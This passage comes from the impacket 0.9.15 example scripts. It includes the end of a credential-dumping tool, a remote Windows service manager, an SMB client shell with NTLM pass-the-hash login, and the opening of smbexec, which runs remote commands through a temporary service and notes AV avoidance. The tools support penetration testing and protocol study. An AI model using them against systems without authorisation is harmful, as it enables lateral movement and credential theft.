if address.upper() == 'LOCAL' and username == '' and options.resumefile is not None:
logging.error('resuming a previous NTDS.DIT dump session is not supported in LOCAL mode')
sys.exit(1)
if address.upper() == 'LOCAL' and username == '':
if options.system is None:
logging.error('SYSTEM hive is always required for local parsing, check help')
sys.exit(1)
else:
if domain is None:
domain = ''
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
from getpass import getpass
password = getpass("Password:")
if options.aesKey is not None:
options.k = True
dumper = DumpSecrets(address, username, password, domain, options)
try:
dumper.dump()
except Exception, e:
logging.error(e)
impacket-0.9.15/examples/services.py 0000700 0000765 0000000 00000040032 12734531507 017464 0 ustar beto wheel 0000000 0000000 #!/usr/bin/python
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# [MS-SCMR] services common functions for manipulating services
#
# Author:
# Alberto Solino (@agsolino)
#
# Reference for:
# DCE/RPC.
# TODO:
# [ ] Check errors
import sys
import argparse
import logging
import codecs
from impacket.examples import logger
from impacket import version
from impacket.dcerpc.v5 import transport, scmr
from impacket.dcerpc.v5.ndr import NULL
from impacket.crypto import *
class SVCCTL:
KNOWN_PROTOCOLS = {
'139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139),
'445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445),
}
def __init__(self, username, password, domain, options):
self.__username = username
self.__password = password
self.__protocol = SVCCTL.KNOWN_PROTOCOLS.keys()
self.__options = options
self.__action = options.action.upper()
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__aesKey = options.aesKey
self.__doKerberos = options.k
self.__kdcHost = options.dc_ip
if options.hashes is not None:
self.__lmhash, self.__nthash = options.hashes.split(':')
def run(self, addr):
# Try all requested protocols until one works.
for protocol in self.__protocol:
protodef = SVCCTL.KNOWN_PROTOCOLS[protocol]
port = protodef[1]
logging.info("Trying protocol %s..." % protocol)
stringbinding = protodef[0] % addr
rpctransport = transport.DCERPCTransportFactory(stringbinding)
rpctransport.set_dport(port)
rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash, self.__aesKey)
try:
self.doStuff(rpctransport)
except Exception, e:
#import traceback
#traceback.print_exc()
logging.critical(str(e))
break
else:
# Got a response. No need for further iterations.
break
def doStuff(self, rpctransport):
dce = rpctransport.get_dce_rpc()
#dce.set_credentials(self.__username, self.__password)
dce.connect()
#dce.set_max_fragment_size(1)
#dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
#dce.set_auth_level(ntlm.NTLM_AUTH_PKT_INTEGRITY)
dce.bind(scmr.MSRPC_UUID_SCMR)
#rpc = svcctl.DCERPCSvcCtl(dce)
rpc = dce
ans = scmr.hROpenSCManagerW(rpc)
scManagerHandle = ans['lpScHandle']
if self.__action != 'LIST' and self.__action != 'CREATE':
ans = scmr.hROpenServiceW(rpc, scManagerHandle, self.__options.name+'\x00')
serviceHandle = ans['lpServiceHandle']
if self.__action == 'START':
logging.info("Starting service %s" % self.__options.name)
scmr.hRStartServiceW(rpc, serviceHandle)
scmr.hRCloseServiceHandle(rpc, serviceHandle)
elif self.__action == 'STOP':
logging.info("Stopping service %s" % self.__options.name)
scmr.hRControlService(rpc, serviceHandle, scmr.SERVICE_CONTROL_STOP)
scmr.hRCloseServiceHandle(rpc, serviceHandle)
elif self.__action == 'DELETE':
logging.info("Deleting service %s" % self.__options.name)
scmr.hRDeleteService(rpc, serviceHandle)
scmr.hRCloseServiceHandle(rpc, serviceHandle)
elif self.__action == 'CONFIG':
logging.info("Querying service config for %s" % self.__options.name)
resp = scmr.hRQueryServiceConfigW(rpc, serviceHandle)
print "TYPE : %2d - " % resp['lpServiceConfig']['dwServiceType'],
if resp['lpServiceConfig']['dwServiceType'] & 0x1:
print "SERVICE_KERNEL_DRIVER ",
if resp['lpServiceConfig']['dwServiceType'] & 0x2:
print "SERVICE_FILE_SYSTEM_DRIVER ",
if resp['lpServiceConfig']['dwServiceType'] & 0x10:
print "SERVICE_WIN32_OWN_PROCESS ",
if resp['lpServiceConfig']['dwServiceType'] & 0x20:
print "SERVICE_WIN32_SHARE_PROCESS ",
if resp['lpServiceConfig']['dwServiceType'] & 0x100:
print "SERVICE_INTERACTIVE_PROCESS ",
print ""
print "START_TYPE : %2d - " % resp['lpServiceConfig']['dwStartType'],
if resp['lpServiceConfig']['dwStartType'] == 0x0:
print "BOOT START"
elif resp['lpServiceConfig']['dwStartType'] == 0x1:
print "SYSTEM START"
elif resp['lpServiceConfig']['dwStartType'] == 0x2:
print "AUTO START"
elif resp['lpServiceConfig']['dwStartType'] == 0x3:
print "DEMAND START"
elif resp['lpServiceConfig']['dwStartType'] == 0x4:
print "DISABLED"
else:
print "UNKOWN"
print "ERROR_CONTROL : %2d - " % resp['lpServiceConfig']['dwErrorControl'],
if resp['lpServiceConfig']['dwErrorControl'] == 0x0:
print "IGNORE"
elif resp['lpServiceConfig']['dwErrorControl'] == 0x1:
print "NORMAL"
elif resp['lpServiceConfig']['dwErrorControl'] == 0x2:
print "SEVERE"
elif resp['lpServiceConfig']['dwErrorControl'] == 0x3:
print "CRITICAL"
else:
print "UNKOWN"
print "BINARY_PATH_NAME : %s" % resp['lpServiceConfig']['lpBinaryPathName'][:-1]
print "LOAD_ORDER_GROUP : %s" % resp['lpServiceConfig']['lpLoadOrderGroup'][:-1]
print "TAG : %d" % resp['lpServiceConfig']['dwTagId']
print "DISPLAY_NAME : %s" % resp['lpServiceConfig']['lpDisplayName'][:-1]
print "DEPENDENCIES : %s" % resp['lpServiceConfig']['lpDependencies'][:-1]
print "SERVICE_START_NAME: %s" % resp['lpServiceConfig']['lpServiceStartName'][:-1]
elif self.__action == 'STATUS':
print "Querying status for %s" % self.__options.name
resp = scmr.hRQueryServiceStatus(rpc, serviceHandle)
print "%30s - " % self.__options.name,
state = resp['lpServiceStatus']['dwCurrentState']
if state == scmr.SERVICE_CONTINUE_PENDING:
print "CONTINUE PENDING"
elif state == scmr.SERVICE_PAUSE_PENDING:
print "PAUSE PENDING"
elif state == scmr.SERVICE_PAUSED:
print "PAUSED"
elif state == scmr.SERVICE_RUNNING:
print "RUNNING"
elif state == scmr.SERVICE_START_PENDING:
print "START PENDING"
elif state == scmr.SERVICE_STOP_PENDING:
print "STOP PENDING"
elif state == scmr.SERVICE_STOPPED:
print "STOPPED"
else:
print "UNKOWN"
elif self.__action == 'LIST':
logging.info("Listing services available on target")
#resp = rpc.EnumServicesStatusW(scManagerHandle, svcctl.SERVICE_WIN32_SHARE_PROCESS )
#resp = rpc.EnumServicesStatusW(scManagerHandle, svcctl.SERVICE_WIN32_OWN_PROCESS )
#resp = rpc.EnumServicesStatusW(scManagerHandle, serviceType = svcctl.SERVICE_FILE_SYSTEM_DRIVER, serviceState = svcctl.SERVICE_STATE_ALL )
resp = scmr.hREnumServicesStatusW(rpc, scManagerHandle)
for i in range(len(resp)):
print "%30s - %70s - " % (resp[i]['lpServiceName'][:-1], resp[i]['lpDisplayName'][:-1]),
state = resp[i]['ServiceStatus']['dwCurrentState']
if state == scmr.SERVICE_CONTINUE_PENDING:
print "CONTINUE PENDING"
elif state == scmr.SERVICE_PAUSE_PENDING:
print "PAUSE PENDING"
elif state == scmr.SERVICE_PAUSED:
print "PAUSED"
elif state == scmr.SERVICE_RUNNING:
print "RUNNING"
elif state == scmr.SERVICE_START_PENDING:
print "START PENDING"
elif state == scmr.SERVICE_STOP_PENDING:
print "STOP PENDING"
elif state == scmr.SERVICE_STOPPED:
print "STOPPED"
else:
print "UNKOWN"
print "Total Services: %d" % len(resp)
elif self.__action == 'CREATE':
logging.info("Creating service %s" % self.__options.name)
scmr.hRCreateServiceW(rpc, scManagerHandle, self.__options.name + '\x00', self.__options.display + '\x00',
lpBinaryPathName=self.__options.path + '\x00')
elif self.__action == 'CHANGE':
logging.info("Changing service config for %s" % self.__options.name)
if self.__options.start_type is not None:
start_type = int(self.__options.start_type)
else:
start_type = scmr.SERVICE_NO_CHANGE
if self.__options.service_type is not None:
service_type = int(self.__options.service_type)
else:
service_type = scmr.SERVICE_NO_CHANGE
if self.__options.display is not None:
display = self.__options.display + '\x00'
else:
display = NULL
if self.__options.path is not None:
path = self.__options.path + '\x00'
else:
path = NULL
if self.__options.start_name is not None:
start_name = self.__options.start_name + '\x00'
else:
start_name = NULL
if self.__options.password is not None:
s = rpctransport.get_smb_connection()
key = s.getSessionKey()
try:
password = (self.__options.password+'\x00').encode('utf-16le')
except UnicodeDecodeError:
import sys
password = (self.__options.password+'\x00').decode(sys.getfilesystemencoding()).encode('utf-16le')
password = encryptSecret(key, password)
else:
password = NULL
#resp = scmr.hRChangeServiceConfigW(rpc, serviceHandle, display, path, service_type, start_type, start_name, password)
scmr.hRChangeServiceConfigW(rpc, serviceHandle, service_type, start_type, scmr.SERVICE_ERROR_IGNORE, path,
NULL, NULL, NULL, 0, start_name, password, 0, display)
scmr.hRCloseServiceHandle(rpc, serviceHandle)
else:
logging.error("Unknown action %s" % self.__action)
scmr.hRCloseServiceHandle(rpc, scManagerHandle)
dce.disconnect()
return
# Process command-line arguments.
if __name__ == '__main__':
# Init the example's logger theme
logger.init()
# Explicitly changing the stdout encoding format
if sys.stdout.encoding is None:
# Output is redirected to a file
sys.stdout = codecs.getwriter('utf8')(sys.stdout)
print version.BANNER
parser = argparse.ArgumentParser(add_help = True, description = "Windows Service manipulation script.")
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
subparsers = parser.add_subparsers(help='actions', dest='action')
# A start command
start_parser = subparsers.add_parser('start', help='starts the service')
start_parser.add_argument('-name', action='store', required=True, help='service name')
# A stop command
stop_parser = subparsers.add_parser('stop', help='stops the service')
stop_parser.add_argument('-name', action='store', required=True, help='service name')
# A delete command
delete_parser = subparsers.add_parser('delete', help='deletes the service')
delete_parser.add_argument('-name', action='store', required=True, help='service name')
# A status command
status_parser = subparsers.add_parser('status', help='returns service status')
status_parser.add_argument('-name', action='store', required=True, help='service name')
# A config command
config_parser = subparsers.add_parser('config', help='returns service configuration')
config_parser.add_argument('-name', action='store', required=True, help='service name')
# A list command
list_parser = subparsers.add_parser('list', help='list available services')
# A create command
create_parser = subparsers.add_parser('create', help='create a service')
create_parser.add_argument('-name', action='store', required=True, help='service name')
create_parser.add_argument('-display', action='store', required=True, help='display name')
create_parser.add_argument('-path', action='store', required=True, help='binary path')
# A change command
create_parser = subparsers.add_parser('change', help='change a service configuration')
create_parser.add_argument('-name', action='store', required=True, help='service name')
create_parser.add_argument('-display', action='store', required=False, help='display name')
create_parser.add_argument('-path', action='store', required=False, help='binary path')
create_parser.add_argument('-service_type', action='store', required=False, help='service type')
create_parser.add_argument('-start_type', action='store', required=False, help='service start type')
create_parser.add_argument('-start_name', action='store', required=False, help='string that specifies the name of the account under which the service should run')
create_parser.add_argument('-password', action='store', required=False, help='string that contains the password of the account whose name was specified by the start_name parameter')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line')
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)')
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
else:
logging.getLogger().setLevel(logging.INFO)
import re
domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
options.target).groups('')
#In case the password contains '@'
if '@' in address:
password = password + '@' + address.rpartition('@')[0]
address = address.rpartition('@')[2]
if domain is None:
domain = ''
if options.aesKey is not None:
options.k = True
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
from getpass import getpass
password = getpass("Password:")
services = SVCCTL(username, password, domain, options)
try:
services.run(address)
except Exception, e:
logging.error(str(e))
impacket-0.9.15/examples/smbclient.py 0000700 0000765 0000000 00000043300 12734531507 017622 0 ustar beto wheel 0000000 0000000 #!/usr/bin/python
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description: Mini shell using some of the SMB funcionality of the library
#
# Author:
# Alberto Solino (@agsolino)
#
#
# Reference for:
# SMB DCE/RPC
#
import sys
import time
import logging
import argparse
import cmd
import os
from impacket.examples import logger
from impacket import version
from impacket.dcerpc.v5 import samr, transport, srvs
from impacket.dcerpc.v5.dtypes import NULL
from impacket.smbconnection import *
# If you wanna have readline like functionality in Windows, install pyreadline
try:
import pyreadline as readline
except ImportError:
import readline
class MiniImpacketShell(cmd.Cmd):
def __init__(self, smbClient):
cmd.Cmd.__init__(self)
self.prompt = '# '
self.smb = smbClient
self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, self.TGT, self.TGS = smbClient.getCredentials()
self.tid = None
self.intro = 'Type help for list of commands'
self.pwd = ''
self.share = None
self.loggedIn = True
self.last_output = None
self.completion = []
def emptyline(self):
pass
def precmd(self,line):
# switch to unicode
return line.decode('utf-8')
def onecmd(self,s):
retVal = False
try:
retVal = cmd.Cmd.onecmd(self,s)
except Exception, e:
#import traceback
#print traceback.print_exc()
logging.error(e)
return retVal
def do_exit(self,line):
return True
def do_shell(self, line):
output = os.popen(line).read()
print output
self.last_output = output
def do_help(self,line):
print """
open {host,port=445} - opens a SMB connection against the target host/port
login {domain/username,passwd} - logs into the current SMB connection, no parameters for NULL connection. If no password specified, it'll be prompted
kerberos_login {domain/username,passwd} - logs into the current SMB connection using Kerberos. If no password specified, it'll be prompted. Use the DNS resolvable domain name
login_hash {domain/username,lmhash:nthash} - logs into the current SMB connection using the password hashes
logoff - logs off
shares - list available shares
use {sharename} - connect to an specific share
cd {path} - changes the current directory to {path}
lcd {path} - changes the current local directory to {path}
pwd - shows current remote directory
password - changes the user password, the new password will be prompted for input
ls {wildcard} - lists all the files in the current directory
rm {file} - removes the selected file
mkdir {dirname} - creates the directory under the current path
rmdir {dirname} - removes the directory under the current path
put {filename} - uploads the filename into the current path
get {filename} - downloads the filename from the current path
info - returns NetrServerInfo main results
who - returns the sessions currently connected at the target host (admin required)
close - closes the current SMB Session
exit - terminates the server process (and this session)
"""
def do_password(self, line):
if self.loggedIn is False:
logging.error("Not logged in")
return
from getpass import getpass
newPassword = getpass("New Password:")
rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename = r'\samr', smb_connection = self.smb)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(samr.MSRPC_UUID_SAMR)
samr.hSamrUnicodeChangePasswordUser2(dce, '\x00', self.username, self.password, newPassword, self.lmhash, self.nthash)
self.password = newPassword
self.lmhash = None
self.nthash = None
def do_open(self,line):
l = line.split(' ')
port = 445
if len(l) > 0:
host = l[0]
if len(l) > 1:
port = int(l[1])
if port == 139:
self.smb = SMBConnection('*SMBSERVER', host, sess_port=port)
else:
self.smb = SMBConnection(host, host, sess_port=port)
dialect = self.smb.getDialect()
if dialect == SMB_DIALECT:
logging.info("SMBv1 dialect used")
elif dialect == SMB2_DIALECT_002:
logging.info("SMBv2.0 dialect used")
elif dialect == SMB2_DIALECT_21:
logging.info("SMBv2.1 dialect used")
else:
logging.info("SMBv3.0 dialect used")
self.share = None
self.tid = None
self.pwd = ''
self.loggedIn = False
self.password = None
self.lmhash = None
self.nthash = None
self.username = None
def do_login(self,line):
if self.smb is None:
logging.error("No connection open")
return
l = line.split(' ')
username = ''
password = ''
domain = ''
if len(l) > 0:
username = l[0]
if len(l) > 1:
password = l[1]
if username.find('/') > 0:
domain, username = username.split('/')
if password == '' and username != '':
from getpass import getpass
password = getpass("Password:")
self.smb.login(username, password, domain=domain)
self.password = password
self.username = username
if self.smb.isGuestSession() > 0:
logging.info("GUEST Session Granted")
else:
logging.info("USER Session Granted")
self.loggedIn = True
def do_kerberos_login(self,line):
if self.smb is None:
logging.error("No connection open")
return
l = line.split(' ')
username = ''
password = ''
domain = ''
if len(l) > 0:
username = l[0]
if len(l) > 1:
password = l[1]
if username.find('/') > 0:
domain, username = username.split('/')
if domain == '':
logging.error("Domain must be specified for Kerberos login")
return
if password == '' and username != '':
from getpass import getpass
password = getpass("Password:")
self.smb.kerberosLogin(username, password, domain=domain)
self.password = password
self.username = username
if self.smb.isGuestSession() > 0:
logging.info("GUEST Session Granted")
else:
logging.info("USER Session Granted")
self.loggedIn = True
def do_login_hash(self,line):
if self.smb is None:
logging.error("No connection open")
return
l = line.split(' ')
domain = ''
if len(l) > 0:
username = l[0]
if len(l) > 1:
hashes = l[1]
else:
logging.error("Hashes needed. Format is lmhash:nthash")
return
if username.find('/') > 0:
domain, username = username.split('/')
lmhash, nthash = hashes.split(':')
self.smb.login(username, '', domain,lmhash=lmhash, nthash=nthash)
self.username = username
self.lmhash = lmhash
self.nthash = nthash
if self.smb.isGuestSession() > 0:
logging.info("GUEST Session Granted")
else:
logging.info("USER Session Granted")
self.loggedIn = True
def do_logoff(self, line):
if self.smb is None:
logging.error("No connection open")
return
self.smb.logoff()
del self.smb
self.share = None
self.smb = None
self.tid = None
self.pwd = ''
self.loggedIn = False
self.password = None
self.lmhash = None
self.nthash = None
self.username = None
def do_info(self, line):
if self.loggedIn is False:
logging.error("Not logged in")
return
rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename = r'\srvsvc', smb_connection = self.smb)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(srvs.MSRPC_UUID_SRVS)
resp = srvs.hNetrServerGetInfo(dce, 102)
print "Version Major: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_major']
print "Version Minor: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_minor']
print "Server Name: %s" % resp['InfoStruct']['ServerInfo102']['sv102_name']
print "Server Comment: %s" % resp['InfoStruct']['ServerInfo102']['sv102_comment']
print "Server UserPath: %s" % resp['InfoStruct']['ServerInfo102']['sv102_userpath']
print "Simultaneous Users: %d" % resp['InfoStruct']['ServerInfo102']['sv102_users']
def do_who(self, line):
if self.loggedIn is False:
logging.error("Not logged in")
return
rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename = r'\srvsvc', smb_connection = self.smb)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(srvs.MSRPC_UUID_SRVS)
resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 10)
for session in resp['InfoStruct']['SessionInfo']['Level10']['Buffer']:
print "host: %15s, user: %5s, active: %5d, idle: %5d" % (
session['sesi10_cname'][:-1], session['sesi10_username'][:-1], session['sesi10_time'],
session['sesi10_idle_time'])
def do_shares(self, line):
if self.loggedIn is False:
logging.error("Not logged in")
return
resp = self.smb.listShares()
for i in range(len(resp)):
print resp[i]['shi1_netname'][:-1]
def do_use(self,line):
if self.loggedIn is False:
logging.error("Not logged in")
return
self.share = line
self.tid = self.smb.connectTree(line)
self.pwd = '\\'
self.do_ls('', False)
def complete_cd(self, text, line, begidx, endidx):
return self.complete_get(text, line, begidx, endidx, include = 2)
def do_cd(self, line):
if self.tid is None:
logging.error("No share selected")
return
p = string.replace(line,'/','\\')
oldpwd = self.pwd
if p[0] == '\\':
self.pwd = line
else:
self.pwd = ntpath.join(self.pwd, line)
self.pwd = ntpath.normpath(self.pwd)
# Let's try to open the directory to see if it's valid
try:
fid = self.smb.openFile(self.tid, self.pwd, creationOption = FILE_DIRECTORY_FILE \
, desiredAccess = FILE_READ_DATA | FILE_LIST_DIRECTORY \
, shareMode = FILE_SHARE_READ | FILE_SHARE_WRITE \
)
self.smb.closeFile(self.tid,fid)
except SessionError:
self.pwd = oldpwd
raise
def do_lcd(self, s):
print s
if s == '':
print os.getcwd()
else:
os.chdir(s)
def do_pwd(self,line):
if self.loggedIn is False:
logging.error("Not logged in")
return
print self.pwd
def do_ls(self, wildcard, display = True):
if self.loggedIn is False:
logging.error("Not logged in")
return
if self.tid is None:
logging.error("No share selected")
return
if wildcard == '':
pwd = ntpath.join(self.pwd,'*')
else:
pwd = ntpath.join(self.pwd, wildcard)
self.completion = []
pwd = string.replace(pwd,'/','\\')
pwd = ntpath.normpath(pwd)
for f in self.smb.listPath(self.share, pwd):
if display is True:
print "%crw-rw-rw- %10d %s %s" % (
'd' if f.is_directory() > 0 else '-', f.get_filesize(), time.ctime(float(f.get_mtime_epoch())),
f.get_longname())
self.completion.append((f.get_longname(), f.is_directory()))
def do_rm(self, filename):
if self.tid is None:
logging.error("No share selected")
return
f = ntpath.join(self.pwd, filename)
file = string.replace(f,'/','\\')
self.smb.deleteFile(self.share, file)
def do_mkdir(self, path):
if self.tid is None:
logging.error("No share selected")
return
p = ntpath.join(self.pwd, path)
pathname = string.replace(p,'/','\\')
self.smb.createDirectory(self.share,pathname)
def do_rmdir(self, path):
if self.tid is None:
logging.error("No share selected")
return
p = ntpath.join(self.pwd, path)
pathname = string.replace(p,'/','\\')
self.smb.deleteDirectory(self.share, pathname)
def do_put(self, pathname):
if self.tid is None:
logging.error("No share selected")
return
src_path = pathname
dst_name = os.path.basename(src_path)
fh = open(pathname, 'rb')
f = ntpath.join(self.pwd,dst_name)
finalpath = string.replace(f,'/','\\')
self.smb.putFile(self.share, finalpath, fh.read)
fh.close()
def complete_get(self, text, line, begidx, endidx, include = 1):
# include means
# 1 just files
# 2 just directories
p = string.replace(line,'/','\\')
if p.find('\\') < 0:
items = []
if include == 1:
mask = 0
else:
mask = 0x010
for i in self.completion:
if i[1] == mask:
items.append(i[0])
if text:
return [
item for item in items
if item.upper().startswith(text.upper())
]
else:
return items
def do_get(self, filename):
if self.tid is None:
logging.error("No share selected")
return
filename = string.replace(filename,'/','\\')
fh = open(ntpath.basename(filename),'wb')
pathname = ntpath.join(self.pwd,filename)
try:
self.smb.getFile(self.share, pathname, fh.write)
except:
fh.close()
os.remove(filename)
raise
fh.close()
def do_close(self, line):
self.do_logoff(line)
def main():
# Init the example's logger theme
logger.init()
print version.BANNER
parser = argparse.ArgumentParser(add_help = True, description = "SMB client implementation.")
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]')
parser.add_argument('-file', type=argparse.FileType('r'), help='input file with commands to execute in the mini shell')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line')
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)')
group.add_argument('-dc-ip', action='store', metavar="ip address",
help='IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
else:
logging.getLogger().setLevel(logging.INFO)
import re
domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
options.target).groups('')
#In case the password contains '@'
if '@' in address:
password = password + '@' + address.rpartition('@')[0]
address = address.rpartition('@')[2]
if domain is None:
domain = ''
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
from getpass import getpass
password = getpass("Password:")
if options.aesKey is not None:
options.k = True
if options.hashes is not None:
lmhash, nthash = options.hashes.split(':')
else:
lmhash = ''
nthash = ''
try:
smbClient = SMBConnection(address, address)
if options.k is True:
smbClient.kerberosLogin(username, password, domain, lmhash, nthash, options.aesKey, options.dc_ip )
else:
smbClient.login(username, password, domain, lmhash, nthash)
shell = MiniImpacketShell(smbClient)
if options.file is not None:
logging.info("Executing commands from %s" % options.file.name)
for line in options.file.readlines():
if line[0] != '#':
print "# %s" % line,
shell.onecmd(line)
else:
print line,
else:
shell.cmdloop()
except Exception, e:
#import traceback
#print traceback.print_exc()
logging.error(str(e))
if __name__ == "__main__":
main()
impacket-0.9.15/examples/smbexec.py 0000700 0000765 0000000 00000032005 12734531507 017270 0 ustar beto wheel 0000000 0000000 #!/usr/bin/python
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# A similar approach to psexec w/o using RemComSvc. The technique is described here
# http://www.accuvant.com/blog/owning-computers-without-shell-access
# Our implementation goes one step further, instantiating a local smbserver to receive the
# output of the commands. This is useful in the situation where the target machine does NOT
# have a writeable share available.
# Keep in mind that, although this technique might help avoiding AVs, there are a lot of
# event logs generated and you can't expect executing tasks that will last long since Windows
# will kill the process since it's not responding as a Windows service.
# Certainly not a stealthy way.
#
# This script works in two ways:
# 1) share mode: you specify a share, and everything is done through that share.
# 2) server mode: if for any reason there's no share available, this script will launch a local
# SMB server, so the output of the commands executed are sent back by the target machine
# into a locally shared folder. Keep in mind you would need root access to bind to port 445
# in the local machine.
#
# Author:
# beto (@agsolino)
#
# Reference for:
# DCE/RPC and SMB.
import sys
import os
import cmd
import argparse
import ConfigParser
import logging
from threading import Thread
from impacket.examples import logger
from impacket import version, smbserver
from impacket.smbconnection import *
from impacket.dcerpc.v5 import transport, scmr
OUTPUT_FILENAME = '__output'
BATCH_FILENAME = 'execute.bat'
SMBSERVER_DIR = '__tmp'
DUMMY_SHARE = 'TMP'
class SMBServer(Thread):
def __init__(self):
Thread.__init__(self)
self.smb = None
def cleanup_server(self):
logging.info('Cleaning up..')
try:
os.unlink(SMBSERVER_DIR + '/smb.log')
except:
pass
os.rmdir(SMBSERVER_DIR)
def run(self):
# Here we write a mini config for the server
smbConfig = ConfigParser.ConfigParser()
smbConfig.add_section('global')
smbConfig.set('global','server_name','server_name')
smbConfig.set('global','server_os','UNIX')
smbConfig.set('global','server_domain','WORKGROUP')
smbConfig.set('global','log_file',SMBSERVER_DIR + '/smb.log')
smbConfig.set('global','credentials_file','')
# Let's add a dummy share
smbConfig.add_section(DUMMY_SHARE)
smbConfig.set(DUMMY_SHARE,'comment','')
smbConfig.set(DUMMY_SHARE,'read only','no')
smbConfig.set(DUMMY_SHARE,'share type','0')
smbConfig.set(DUMMY_SHARE,'path',SMBSERVER_DIR)
# IPC always needed
smbConfig.add_section('IPC$')
smbConfig.set('IPC$','comment','')
smbConfig.set('IPC$','read only','yes')
smbConfig.set('IPC$','share type','3')
smbConfig.set('IPC$','path')
self.smb = smbserver.SMBSERVER(('0.0.0.0',445), config_parser = smbConfig)
logging.info('Creating tmp directory')
try:
os.mkdir(SMBSERVER_DIR)
except Exception, e:
logging.critical(str(e))
pass
logging.info('Setting up SMB Server')
self.smb.processConfigFile()
logging.info('Ready to listen...')
try:
self.smb.serve_forever()
except:
pass
def stop(self):
self.cleanup_server()
self.smb.socket.close()
self.smb.server_close()
self._Thread__stop()
class CMDEXEC:
KNOWN_PROTOCOLS = {
'139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139),
'445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445),
}
def __init__(self, protocols=None,
username='', password='', domain='', hashes=None, aesKey=None, doKerberos=None, kdcHost=None,
mode=None, share=None):
if not protocols:
protocols = CMDEXEC.KNOWN_PROTOCOLS.keys()
self.__username = username
self.__password = password
self.__protocols = [protocols]
self.__serviceName = 'BTOBTO'
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__aesKey = aesKey
self.__doKerberos = doKerberos
self.__kdcHost = kdcHost
self.__share = share
self.__mode = mode
self.shell = None
if hashes is not None:
self.__lmhash, self.__nthash = hashes.split(':')
def run(self, addr):
for protocol in self.__protocols:
protodef = CMDEXEC.KNOWN_PROTOCOLS[protocol]
port = protodef[1]
logging.info("Trying protocol %s..." % protocol)
logging.info("Creating service %s..." % self.__serviceName)
stringbinding = protodef[0] % addr
rpctransport = transport.DCERPCTransportFactory(stringbinding)
rpctransport.set_dport(port)
if hasattr(rpctransport,'preferred_dialect'):
rpctransport.preferred_dialect(SMB_DIALECT)
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash, self.__aesKey)
rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
self.shell = None
try:
if self.__mode == 'SERVER':
serverThread = SMBServer()
serverThread.daemon = True
serverThread.start()
self.shell = RemoteShell(self.__share, rpctransport, self.__mode, self.__serviceName)
self.shell.cmdloop()
if self.__mode == 'SERVER':
serverThread.stop()
except (Exception, KeyboardInterrupt), e:
#import traceback
#traceback.print_exc()
logging.critical(str(e))
if self.shell is not None:
self.shell.finish()
sys.stdout.flush()
sys.exit(1)
class RemoteShell(cmd.Cmd):
def __init__(self, share, rpc, mode, serviceName):
cmd.Cmd.__init__(self)
self.__share = share
self.__mode = mode
self.__output = '\\\\127.0.0.1\\' + self.__share + '\\' + OUTPUT_FILENAME
self.__batchFile = '%TEMP%\\' + BATCH_FILENAME
self.__outputBuffer = ''
